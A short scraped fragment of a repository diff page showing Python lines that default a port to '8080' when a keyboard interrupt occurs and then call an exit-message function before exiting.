port = '8080' # When Keyword Interrupt Occurs before defining Port by User. Script will use 8080 port.(Just To Remove Exception Errors)
|
||||
# When Keyword Interrupt Occurs before defining Port by User. Script will use 8080 port.(Just To Remove Exception Errors)
|
||||
port = '8080'
|
||||
simple_informant.exit_message(port)
|
||||
exit()
|
||||
|
|
Loading…
Reference in New Issue
Block a user